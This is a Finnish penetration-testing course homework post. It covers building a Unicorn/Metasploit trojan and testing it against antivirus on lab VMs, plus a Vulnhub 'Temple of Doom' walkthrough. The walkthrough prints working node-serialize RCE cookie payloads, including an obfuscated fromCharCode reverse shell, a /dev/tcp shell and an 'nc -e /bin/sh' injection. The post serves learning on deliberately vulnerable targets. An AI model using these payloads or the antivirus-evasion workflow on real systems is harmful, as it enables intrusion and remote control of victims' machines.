Kotitehtävä 7

Posted on
Tehty osana Tero Karvisen penetraatiokurssin tehtäviä. Tehtävät osoitteessa TeroKarvinen.com

A) Troijalaisen luonti Unicornilla

Työkalut

Käytin troijalaisen luomiseen Kali Linux 2018.3 käyttöjärjestelmää, Unicornia (https://github.com/trustedsec/unicorn), sekä Metasploitia.
Haittaohjelmien testaamiseen käytin kahta VirtualBoxissa pyörivää Windows 10 tietokonetta, joista toisessa on Kaspersky free ja toisessa Avast free antivirus.

Aloitus

Latasin Unicorn repon koneelleni komennolla: git clone https://github.com/trustedsec/unicorn.git
Avaamalla ladatun unicron kansion löydämme tiedoston unicorn.py, jonka pääsemme ajamaan komennolla:  ./unicorn.py

Nyt voimme tehdä payloadin komennolla: python unicorn.py windows/meterpreter/reverse_https 127.0.0.1 443 (Käytin oikeaa IP-osoitettani, mutta tässä esimerkissä se on korvattu localhost osoitteella)

Komento loi kaksi tiedostoa. Toinen on powershell_attack.txt, joka muutetaan .bat tiedostoksi ja pyöräytetään kohde koneella. Toinen tiedosto on unicorn.rc, jolla voimme avata nopeasti kuuntelijan/handlerin msfconsolen kautta komennolla: sudo msfconsole -r unicorn.rc

Aluksi käynnistin kuuntelijan yllä mainitulla komennolla. Tämän jälkeen muutin powershell_attack.txt tiedoston haitallinenuni.bat nimiseksi ja siirsin virtuaalisen kohdekoneeni jaettuun kansioon, jonka kautta saan sen virtuaaliselle koneelle.

Kokeilin ensimmäiseksi troijalaista Kasperskyllä varustetulla koneella ja siirsin .bat tiedoston työpöydälle, eikä Windows Defender tai Kaspersky vielä työpöydälle kopioidessa havainnut mitään.

Kun pyöräytin troijalaisen kohde koneella, niin Kaspersky havaitsi sen samantien, esti koodin pyörimisen ja poisti .bat tiedoston.

Seuraavaksi kokeilin haittaohjelmaa Avastilla varustetulla kohde koneella.

Avastkaan ei huomannut haittaohjelmaa työpöydälle kopioidessa.

Avast ei havainnut edes haittaohjelman pyörittämistä ja yhteys avautui nätisti kuuntelijaani ja pääsin pyöräyttämään sysinfo komennon, jolla näin tietokoneen tiedot.

 

 

 

 

B) Vulnhub maalikone

Valitsin satunnaisesti Vulnhubista koneen nimeltä Temple of Doom: 1, joka oli luokiteltu vaikeudeltaan Easy/Intermediate. Vinkiksi kerrottiin, että root on mahdollista saada kahdella tavalla.

Latasin .Ova tiedoston torrentin kautta ja avasin sen VirtualBoxilla.

Käynnistettyäni laatikon antoi se IP-osoitteen, jossa se sijaitsee sekä pyysi salasanaa, jota minulal ei vielä ole.

Tarkistin selaimen selaimen kautta onko kohteessa jotakin palvelua, jonka näkisin suoraan, muttei ollut. Seuraavaksi tein db_nmap skannauksen metasploitilla komennolla: db_nmap -top 100 -A -sV -Pn -sS 80.221.63.250

Vain portti 22 näyttäisi olevan auki kohteessa.

Koska tällä ei pitkälle pötkitä, niin päätin jatkaa skannausta ja laitoin db_nmapin etsimään top 1000 porttia.

Tämä poikikin vähän paremmin ja sain esiin portin 666, joka on HTTP portti.

Kokeilin selaimella mitä osoitteesta löytyy tuon portin takaa ja vastassa oli vain teksti: “Under Construction, Come Back Later!”.

Luulin, että ei auttanut nyt tämäkään mitään, kunnes sivu kaatui samalla kun tutkin Firefoxin developer toolilla olisiko sivulta löytynyt mitään jännää.

Näin sain tietää, että koneella on käyttäjä nimeltä nodeadmin.

Parin villin veikkauksen jälkeen en onnistunut kirjautumaan nodeadminilla sisään, joten laitoin Armitagen pyörittämään ssh kirjautumis yrityksiä käyttäen nodeadminia käyttäjänimenä ja salasana listaksi valitsin wordlists kansiosta unix_passwords.txt

Sillä välin kun armitage pyöritteli kirjautumis yrityksiä, niin palasin sivulle katsomaan olisiko nyt tuon virheilmoituksen takia tullut jotakin lisätieto developer konsoliin.

Huomasin, että debuggeriin oli tullut ExtensionContent.jsm niminen tiedosto, joka ei mielestäni ollut aikaisemmin siinä, mutta en nopealla vilkuilulla löytänyt koodista mitään hyödyllistä.

Tämän jälkeen huomasin, että sivulla oli cookie tiedosto, jossa oli valuena base64:ltä näyttävä pätkä. Pyöräytin pätkän Base64 decoden läpi josta sain seuraavanlaisen stringin:

{“username”:”Admin”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:Friday, 13 Oct 2018 00:00:00 GMT”}

Käyttäjänimenä on siis Admin ja csrftoken näytti olevan myös base64 encodattu. Pyöräytin senkin base64 decoden läpi, josta sain tulokseksi sekavan erikoismerkki jonon: }ox }_~ <‘ͭ%

Tätä merkki jonoa ei voi kunnolla kopioida sillä välissä on erikoismerkki laatikko, jota ei voi kopioida.

Katsoin Armitagella, että onko metasploitilla jotakin hyökkäystä node.js:ää vastaan. Mikään ehdotetuista exploiteista ei vaikuttanut sopivalta tähän kohteeseen.

Tässä vaiheessa Armitagekin oli jo rullannut salasanat läpi, eikä yksikään niistä toiminut.

Päätin vielä hakea Duckduckgo:lla jos node.js olisi vielä jokin haavoittuvuus jota voisin hyödyntää. Toisena linkkinä tuli exploit-db.comin linkki, jossa oli node.JS – node-serialize Remote Code Execution.

Aikaisemmin sivulla saadussa virheilmoituksessa olikin maininta node-serialize, joten lähdin tutkimaan voinko hyödyntää tätä jotenkin.

Exploit-db.comiin oli tehty ohjeet kuinka bugia hyödynnetään ja ohjeiden tekijä oli myös tehnyt python scriptin, joka luo scriptin pätkän, jolla luodaan reverse shell payloadi kohteeseen.

Python scriptissä ei näyttänyt olevan haitallista koodia, joten uskalsin käyttää sitä.

Sain generoitua oman IP:ni ja halutun portin perusteella seuraavan scriptin:

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,56,48,46,50,50,49,46,49,53,54,46,54,51,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

Tämä scripti piti muuttaa vielä serialized toimivaksi lisäämällä alkuun:

{“rce”:”_$$ND_FUNC
$$_function (){
Ja loppuun:
}()”}
Tämän jälkeen koko pätkä piti vielä enkoodata base64:llä.
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7CmV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OSw4Myw4NCw2MSwzNCw1Niw0OCw0Niw1MCw1MCw0OSw0Niw0OSw1Myw1NCw0Niw1NCw1MSwzNCw1OSwxMCw4MCw3OSw4Miw4NCw2MSwzNCw0OSw1MSw1MSw1NSwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3OSw4Miw4NCw0NCwzMiw3Miw3OSw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksNDcsOTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ==
Laitoin ohjeiden mukaisesti netcatin kuuntelemaan porttia 1337 komennolla:
nc -l 127.0.0.1 1337
(IP-osoite muutettu julkaisusta)
Tämän jälkeen nappasin ZAP:illa http paketin kiinni ja muutin siihen base64 enkoodatun scriptini cookien tilalle ja annoin paketin jatkaa matkaansa.
Tämä ei kuitenkaan poikinut tulosta, eikä netcat saanut yhteyttä.
Hieman turhautuneen jouduin kääntymään Walkthroughin puoleen, josta selvisi että olin oikeilla jäljillä.
 Kokeilin aluksi tutorialissa annettua payload kokeilua, jossa annettiin komento: ls -l /
Eli komento:
{“username”:”_$$ND_FUNC$$_function(){return require(‘child_process’).execSync(‘ls -l /‘,(e,out,err)=>{console.log(out);}); }()”}
Joka enkoodattiin base64 ja laitettiin cookien tilalle, jolloin saatiin palvelimelta vastaus:
Ohjeita seuraamalla tein myös reverse shell injektion.
Ohjeissa ei kerrottu mitä payloadia reverse shelliin käytettiin, joten päätin tehdä itse yksinkertaisen bash payloadin, joka ottaisi yhteyden koneeseeni. Käytin tekemiseen msfvenomia, josta sain bash komennon:
0<&195-;exec 195<>/dev/tcp/127.0.0.1/42069;sh <&195 >&195 2>&195
(IP-osoite muutettu jälleen)
Tämän jälkeen laitoin msfconsolesta kuuntelijan päälle ja kokeilin tekemääni scriptiä.
Enkoodattava injektio näyttää siis tältä:
{“username”:”_$$ND_FUNC$$_function(){return require(‘child_process’).execSync(‘0<&195-;exec 195<>/dev/tcp/127.0.0.1/42069;sh <&195 >&195 2>&195‘,(e,out,err)=>{console.log(out);}); }()”}
Oma payloadini ei onnistunut, joten pettyneenä jouduin menemään takaisin tutoriaaliin katsomaan mitä walkthrough käytti.
Walkthroughissa käytettiinkin aivan tavallista netcat komentoa yhteyden avaamiseen.
Näin ollen muokkasin komentoa omiin tarkoituksiini ja injektoin sen kohteeseen.
Uusi komento, joka enkoodattiin base64 näytti siis tältä:
{“username”:”_$$ND_FUNC$$_function(){return require(‘child_process’).execSync(‘nc 127.0.0.1 4444 -e /bin/sh’,(e,out,err)=>{console.log(out);}); }()”}
Ja sain vihdoin yhteyden kohteeseen.
Olemme sisällä vasta normaalikäyttäjän oikeuksilla, joten seuraavana edessä on vielä oikeuksin korotus. Olin kuitenkin jo niin uupunut pähkäilystä, että oli pakko lopettaa ja olla tyytyväinen edes peruskäyttäjän oikeuksiin.

C) Google Project Zero

Google Project Zeron artikkelit olivat kaikki mielenkiintoisia otsikkojen perusteella, mutta suurin osa tekniikoista oli erittäin teknisiä ja vaativat paljon syvempää tuntemusta järjestelmistä, kuin mitä minulla on tällä hetkellä.

Silmään pisti erityisesti VirtualBoxin processien vahvennuksen ohittaminen windowsissa. https://googleprojectzero.blogspot.com/2017/08/bypassing-virtualbox-process-hardening.html

Artikkeli sisälsi paljon teknistä asiaa, kuten kaikki muutkin artikkelit, mutta havainnollistavat kuvat antoivat edes jollain tavalla kuvan miten järjestelmä toimii. Tämä tekniikka voi olla oikein käytännöllinen, jos käytössä on versio virtualboxista, jossa bugia ei vielä ole korjattu. Kuten artikkelissakin todetaan, niin ohituksen olisi voinut varmasti tehdä yksinkertaisemminkin. Yhteenvedossa todetaan myös, että prosessin vahventaminen on erittäin monimutkaista, jonka takia se on altis myös virheille.

 

Leave a Reply

Your email address will not be published. Required fields are marked *